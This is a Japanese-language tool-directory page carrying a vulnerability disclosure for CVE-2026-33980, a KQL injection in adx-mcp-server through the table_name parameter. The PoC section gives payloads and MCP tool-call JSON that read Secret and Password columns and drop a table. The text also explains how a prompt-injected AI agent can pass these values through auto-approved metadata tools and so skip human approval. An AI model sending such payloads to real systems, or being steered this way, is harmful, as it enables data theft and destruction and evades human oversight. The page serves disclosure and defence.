Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33980 — adx-mcp-server における table_name パラメータを介した KQL インジェクションの概念実証エクスプロイトであり、Azure Data Explorer でのデータ窃取や破壊的なコマンドの実行を可能にします。 | Kitploit
ツール/GitHubGitHub/romain-deperne/cve-2026-33980
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用クラウドセキュリティデータベースセキュリティ
GitHubromain-deperne/cve-2026-33980

CVE-2026-33980

adx-mcp-server における table_name パラメータを介した KQL インジェクションの概念実証エクスプロイトであり、Azure Data Explorer でのデータ窃取や破壊的なコマンドの実行を可能にします。

リポジトリを見る
371ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33980 — table_name パラメータを介した adx-mcp-server における KQL インジェクション

深刻度: 高 (CVSS 8.3) CWE: CWE-943 — データクエリロジックにおける特殊要素の不適切な中和 影響範囲: adx-mcp-server <= 1.1.0 アドバイザリ: GHSA-vphc-468g-8rfp NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980 クレジット: Romain Deperne

TL;DR

adx-mcp-server の3つの MCP ツールは、table_name パラメータを f-string を介して KQL (Kusto Query Language) クエリに直接埋め込んでいます。攻撃者、またはプロンプトインジェクションを受けた AI エージェントは、Azure Data Explorer クラスタ内の任意のテーブルを読み取ったり、管理コマンド (.drop table) を実行したり、任意の分析クエリを実行したりすることができます — これは「安全な」メタデータツールと生の execute_query ツールとの間の信頼境界を回避するものです。

分析

私は awesome-mcp-servers のリストを調べ、特にクラウドデータプラットフォームをラップする MCP サーバーを探していました — これらは AI エージェントにデータベースへの直接アクセスを提供するように設計されているため高リスクであり、また MCP ツールのパラメータは完全に攻撃者が制御可能です (信頼できないデータを処理する LLM は、悪意のあるツール引数を渡すようプロンプトインジェクションを受ける可能性があります)。

MCP ツールのパラメータがどのように Azure Data Explorer クエリに到達するかを確認したところ、server.py 内に3つの直接的な埋め込みが見つかりました: f"{table_name} | getschema"、f"{table_name} | sample {sample_size}"、そして f".show table {table_name} details" です。

興味深いのは信頼境界のバイパスです: このサーバーは生の execute_query ツール (MCP クライアントが人間による承認を要求する場合がある) と、これらの「安全な」メタデータ検査ツール (自動承認される) の両方を公開しています。メタデータツールを介してインジェクションを行うことで、クライアントが適用する承認ポリシーを回避できます。これが、この問題を単なる「インジェクションのバグ」から実際のセキュリティ境界違反へと押し上げた要因です。

KQL のコメント構文 (//) を使用すると、ペイロードによって元のクエリの残りの部分を抑制することができます。

影響を受けるコンポーネント

ファイル: src/adx_mcp_server/server.py

# Line 228 — get_table_schema
query = f"{table_name} | getschema"

# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"

# Line 268 — get_table_details
query = f".show table {table_name} details"

3つすべてが、MCPツールの引数から受け取った table_name を検証なしでそのまま client.execute(config.database, query) に渡しています。

根本原因

KQLでは | を使ってクエリ演算子をパイプで連結でき、. を前置した管理コマンドを実行できます。// 文字は行コメントを開始します。したがって、f-stringによる直接的な補間はクエリインジェクションを許します:

  • f"{table_name} | getschema" → | project Secret // を追加して | getschema をコメントアウトする
  • f".show table {table_name} details" → \n.drop table を注入して管理コマンドを連鎖させる

これが単なる execute_query ツール以上に重要な理由:MCPクライアントはしばしば「安全な」読み取り専用ツール(自動承認)と生の実行ツール(確認が必要)を区別します。このインジェクションは「安全な」メタデータツールを標的とし、承認の境界を回避します。

PoC

完全なデモンストレーションについては poc.py を参照してください。主要なペイロード:

# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"

# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"

MCP ツール呼び出し:

{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}

影響

  1. データ流出 — Azure Data Explorer データベース内の任意のテーブルを読み取り可能
  2. データ破壊 — .drop table、.drop extents などの管理コマンド
  3. プロンプトインジェクションの増幅 — ADX 内の攻撃者制御下のデータを処理する AI エージェントが、悪意のある table_name 値を渡すよう操作される可能性があり、プロンプトインジェクションが完全なデータアクセスへと変わる

タイムライン

  • 報告: GHSA プライベートアドバイザリ
  • CVE 公開: CVE-2026-33980
ツールをダウンロード